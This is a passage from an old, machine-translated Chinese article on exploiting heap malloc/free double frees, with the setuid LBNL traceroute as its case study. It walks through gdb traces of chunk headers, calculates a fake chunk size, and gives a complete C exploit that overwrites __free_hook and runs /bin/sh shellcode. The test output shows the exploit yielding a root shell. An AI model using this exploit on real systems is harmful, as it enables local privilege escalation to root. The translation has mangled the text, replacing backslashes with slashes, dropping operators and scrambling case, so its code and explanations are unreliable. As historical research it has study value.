| JUNK1 | S [K] ... S [L-1] / 0 | T [0] ... T [N-1] / 0 | JUNK2 |

----- -------------------------------------------------------------------------------------------------------------------------------- -----

^ ^

| __P | ___ strptr

At this time, Strptr point to Junk2, strsize = 1024 -l -1 -n -1

P Point to the original Chunk start.

<4>. Free (p)

When Free () is called for the second time, the pointed is actually an unallocated buffer, which causes

A serious mistake. We see since S and T are we can control, then we can

Use any of the two methods mentioned above to attack!

Below is a simple process executed when the function is called when the '-g' parameter is called.

Main ()

....

Case 'g':

...

GetDr (GWLIST LSRR, OPTARG);

Getdr (Register U_INT32_T * AP, Register Char * Hostname)

{

Register struct hostinfo * hi;

(1) Hi = gethostinfo (Hostname);

* AP = Hi-> AddRS [0];

(2) FreeHostInfo (HI);

}

Struct Hostinfo *

GethostInfo (Register Char * Hostname)

{

...

(3) Hi = Calloc (1, SIZEOF (* Hi));

...

Addr = inet_addr (hostname);

IF ((INT32_T) Addr! = -1) {

(4) Hi-> Name = SaveStr (Hostname);

Hi-> n = 1;

(5) Hi-> AddRS = Calloc (1, Sizeof (Hi-> AddRS [0]));

...

(6) Hi-> addrs [0] = addr;

Return (Hi);

}

We see that each member in the HostInfo structure is released each time, including hi-> name. (1) and then call gethostinfo () again, will experience two Calloc operations (3, 5) , And one assignment

Operation (6). Therefore, it seems that it is not as simple as we think, the key is whether we can control the

The internal structure of the memory of the second FREE: chunk-> size or chunk-> prev_size.

Let us track:

[root @ redhat-6 traceroute-1.4a5] # gdb ./traceroute -q

(GDB) B gethostInfo

BreakPoint 1 at 0x804ae8: file ./traceroute.c, line 1220.

(GDB) R -G 111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1

Starting program: /usr/src/redhat/build/traceroute-1.4a5/traceroute -g

111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1

BreakPoint 1, GethostInfo (Hostname = 0xBfffFDF3 "111.111.111.111")

at ./traceroute.c:1220

1220 Hi = Calloc (1, SIZEOF (* HI));

(GDB) N

1221 IF (hi == null) {

(GDB) N

1225 addr = inet_addr (hostname);

(GDB) N

1226 IF ((int32_t) addr! = -1) {

(GDB) P / x addr <- This is the address after HostName converted (111.111.111.111)

$ 2 = 0x6f6f6f6f

(GDB) N <- Next step to assign 1024 byte memory for Hostname

1227 hi-> name = savestr (hostname);

(GDB) N

1228 hi-> n = 1;

(GDB) P / X Hi-> Name <- This is the first assignment returned address

$ 3 = 0x804d518

(GDB) X / 8X Hi-> Name -8

[prev_size] [size] [data ...]

0x804d510: 0x00000000 0x00000409 0x2e313131 0x2e313131

0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000

(GDB) N <- Dynamically assigned a memory

1229 Hi-> AddRS = Calloc (1, SIZEOF (Hi-> AddRS [0]);

(GDB)

1230 if (Hi-> AddRS == NULL) {

(GDB) P / X Hi-> AddRS <- This memory is assigned in hi-> name 0x400 8 this address

$ 4 = 0x804d920

(GDB) N

1235 hi-> addrs [0] = addr; (gdb) n

1236 RETURN (HI);

(GDB) X / X Hi-> AddRS

0x804d920: 0x6f6f6f6f <- Note that the addr has this address.

(GDB) C

Continuing.

Breakpoint 1, gethostinfo (Hostname = 0xBfffffe06 "0x66.0x77.0x88.0x99")

at ./traceroute.c:1220

1220 Hi = Calloc (1, SIZEOF (* HI));

[At this time, the previously allocated memory has been released]

(GDB) P / x 0x804d510 <- We look at the original Hi-> Name memory

$ 5 = 0x804d510

(GDB) X / 10X 0x804D510

[prev_size] [size] [data ...]

0x804d510: 0x0804d920 0x00000af1 0x40108f80 0x40108f80

0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000

0x804d530: 0x00000000 0x00000000

We see our original data (16 bytes) has changed]

(GDB) N

1221 IF (hi == null) {

(GDB) X / 10X 0x804d510 <--- The first Calloc () is executed, and the prev_size is cleared.

[prev_size] [size] [data ...]

0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80

0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000

0x804d530: 0x00000000 0x00000000

(GDB) N

1225 addr = inet_addr (hostname);

(GDB) N

1226 IF ((int32_t) addr! = -1) {

(GDB) P / X AddR <- Here, we can construct an arbitrary value and assign it to AddR

$ 6 = 0x99887766

(GDB) N

1227 hi-> name = savestr (hostname); <- call SaveStr again ()

(GDB) N

1228 hi-> n = 1;

(GDB) p / x hi-> name

$ 7 = 0x804d528 <- Note! Hi-> Name start position =

0x804d518 first-g parameter length (16)

(GDB) X / 12X 0x804D510

0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80

0x804d520: 0x2e313131 0x00313131 * 0x36367830 0x3778302e

0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000

[The content of the second parameter starts from *]

(GDB) N <- The following Calloc will allocate a memory

1229 Hi-> AddRS = Calloc (1, SIZEOF (Hi-> AddRS [0]);

(GDB) N

1230 if (Hi-> AddRS == NULL) {

(GDB) P / X Hi-> AddRS <- This address is our first SAVESTR () to get the address! ! !

$ 8 = 0x804d518

(GDB) p / x sizeof (hi-> addrs [0])

$ 9 = 0x4

(GDB) X / 12X 0x804D510 <---

[prev_size] [size] [data ...]

0x804d510: 0x0804d518 0x00000011 0x00000000 0x00000000

0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e

0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000

[As mentioned above, the newly allocated memory is also starting from the 0x804D510, and the top 8 of the user data area

Bytes are clear. The top block also moves 16 bytes, and two addresses of 0x804d520, 0x804d524

The data is covered.

]

(GDB) N

1235 hi-> addrs [0] = addr;

(GDB) P / X Hi-> AddRS [0]

$ 10 = 0x0

(GDB) N

1236 RETURN (HI);

(GDB) P / X Hi-> AddRS [0]

$ 11 = 0x99887766

(GDB) P / X & Hi-> AddRS [0]

$ 12 = 0x804d518

(GDB) X / 12X 0x804D510

[prev_size] [size] [data ...]

0x804d510: 0x0804d518 0x00000011 0x99887766 0x00000000

0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e

0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000

[Note, addr = 0x99887766 is deposited at 0x804d518, this value is we control]

(GDB) C

Continuing.

Program received Signal SigSegv, Segmentation Fault.

0x40073f73 in Free () at malloc.c: 2952

Malloc.c: no so file or directory.

[Error when trying to start the address of the free *]

In order to make it easier to understand, we can watch the picture when calling SaveStr () twice:

After the first call savestr (), return the address P0:

| <----------------------- 1024 BYTES --------------------> |

------------------------------------------------------------------------------------------------------------------------------------------------------ --------

| "111.111.111.111" / 0 | JUNK |

------------------------------------------------------------------------------------------------------------------------------------------------------ --------

^

| __ p0

After the second SAVESTR (), P0 moves to a new position P1 = P0 Strlen (HostName) 1.

Due to the execution of a Calloc () operation, 12 bytes starting from P2 are we cannot control.

Fortunately, because there is a "Hi-> AddRS [0] = Addr" operation, four of the front of P2

Bytes are we can control

| <----------------------- 1024 BYTES --------------------> |

------ ----------------------------- ---- ---

| 99887766 | 0000 000 0x0ae1 | ... / 0 | "0x66.0x77.0x88.0x99" | ... |

------ ----------------------------- ---- ---

| 4 bytes | <--- 12 bytes ---> | ^

P0 P2 | __ p1

Next, Free (p1) is going to be. According to the methods described earlier, if you want to use Free (P1),

We must control the contents of P1-4 or P1-8 (prev_size), since we can control

4 bytes started at P0, if we can try to make P1 with P2, then we can not

Control P1-4? This requires the first "-g" parameter length of 3 bytes, such as "1.1"

Plus the last '/ 0', the length is just 4 bytes.

| <----------------------- 1024 BYTES --------------------> |

------ ---------------------------------------- --------

| "1.1" / 0 | |

------ ---------------------------------------- --------

| 4 bytes |

P0

| <----------------------- 1024 BYTES --------------------> |

------ ---------------------------------------- --------

| "1.1" / 0 | "0x66.0x77.0x88.0x99" / 0 |

------ ---------------------------------------- --------

| 4 bytes |

P0 P1

| <------------------------------------------> | -------- ---------------------------------------- -------

| 99887766 | 0000 000 0x0ae1 | "88.0x99" / 0 | ... |

------ --------------------------- --------- --------

| 4 bytes | <--- 12 bytes ---> | <- 8 bytes -> |

P0 P2 (P1)

Then the next step is how to set Chunk-> Size, and put our fake block

Where is it.

INET_ADDR () has a "feature" if you enter "1.2.3.4 aaaaaaa" (note the space behind

Some 'A') is also added, it does not report error, the return value is 0x040201. If you enter

"0xAA.0XBB.0xcc.0xaa.0xbb.0xcc.0xaa.0xaa" string, the return value is 0xDDCCBBAA. We

The forged block can be placed behind the space, put chun-> size in 0xAA.0XBB.0XCC.0XDD

in. For example, the second "-g" parameter uses "0x1D.0x00.0x00.0x00 fake_chunk"

The chunk-> size = 0x0000001D obtained thus obtained.

What is the value of 0x1D calculated?

CHUNK = P1 -8

FAKE_CHUNK = P1 STRLEN ("0x1D.0x00.0x00.0x00")

= P1 20

= CHUNK 8 20

= CHUNK 28

= CHUNK 0x1C

(0x1c | prev_inuse) ==> 0x1d

Some people may say, why not set the first parameter length, for example, more than 16

Bytes, such a 16-byte part of the part will also use these parts under our control

Is it more convenient to construct a prev_size and size? I started thinking about it, but

When the actual test, it was found that the block representing the P2 was already a TOP block, which is the top block. Free (p1)

When the P1-8 address is required to be lower than P2, this method is not available.

OK, you can say that you can say that you will start, you can start writing the test program. We use

It is a method of unlink next block. You will find that once the principle is clear, this test program is

When it is simple. :) The only thing you need to know is __free_hook address. If you have

/ USR / SBIN / TraceRoute's read rights, you can copy it into a temporary directory, then use

GDB, set the breakpoint in EXIT, then get __free_hook. If there is no read permissions, you can add one

Offset, automatic test possible __free_hook, generally increment or decrease in 0x10.

/ * EXPLOIT for LBNL TRACEROUTE with Unlining Nextchunk

* - Traceroute-ex.c

*

.

*

* By warning3@nsfocus.com (http://www.nsfocus.com)

* 2001/03/08

* /

#include

#include

#define __free_hook 0x401091b8 / * __free_hook address * /

#define vulprog "/ usr / sbin / traceroute"

#define prev_inuse 0x1

#define is_mmapped 0x2

Char shellcode [] =

"/ XEB / X0A / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90" / * This section is to skip the spam * /

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Main (int Argc, char ** argv)

{

Unsigned int codeaddr = 0;

Char BUF [128], FAKE_CHUNK [16];

Char * ENV [2];

Unsigned int * PTR;

/ * Calculate the address of shellcode in the stack * /

CodeAddr = 0xc0000000 - 4 - (Strlen (Vulprog) 1) - (Strlen (shellcode) 1);

ENV [0] = shellcode;

ENV [1] = NULL;

/ * Forge a block structure. * /

PTR = (unsigned int *) fake_chunk;

* PTR = 0x11223344 & ~ prev_inuse;

* PTR = 0xfffffffc;

* PTR = __free_hook - 12;

* PTR = CodeAddr;

Bzero (BUF, 128);

/ * Set Chunk-> size = ((20 8 = 28 = 0x1c) | prev_inuse) = 0x1D * /

Memcpy (buf, "0x1d.0x00.0x00.0x00", 20);

Memcpy (buf 20, fake_chunk, 16);

EXECLE (Vulprog, Vulprog, "-g", "1.1", "-g", buf, "127.0.0.1", null, env);

} / * End of main * /

Test Results:

[WARNING3 @ redhat-6 malloc] $ GCC -O EX3 EX3.C

[Warning3 @ redhat-6 malloc] $ ./ex3

Bash # id

UID = 507 (Warning3) GID = 507 (Warning3) EUID = 0 (root) Groups = 507 (Warning3), 100 (users) Bash #

★ Conclusion:

Malloc / free problem makes the risk of overflow in HEAP districts increased in some platforms / systems.

It is worth to attract us. In addition, in addition to Free () may have problems, Realloc () may also have problems.

Interested readers can refer to the code of Realloc ().

I originally wanted to write this document in October last year, and later dragged down due to various reasons,

For this reason, I was smashed many times. It's finally completed. :)

★ Thank you:

Thanks to Solar Designer, Chris Evans, Dvorak, Michel Kaempf, selflessly dedicated him.

Our research results. (See References.)

★ References:

[1] Solar Designer, << JPEG COM Marker Processing Vulnerability In Netscape Browsers >>

http://www.openwall.com/advisories/ow-002-netscape-jpeg.txt

[2] Chris Evans, << Very Interesting Traceroute Flaw >>

Http://security-archive.merton.ox.ac.uk/bugtraq-200009/0482.html

[3] DVORAK, << Traceroute Exploit Story >>

Http://security-archive.merton.ox.ac.uk/bugtraq-20001010/0084.html

[4] Michel Kaempf, << [MSY] Local Root Exploit in LBNL Traceroute >>

Http://security-archive.merton.ox.ac.uk/bugtraq-2000111/0081.html

转载请注明原文地址:https://www.9cbs.com/read-40994.html

New Post(0)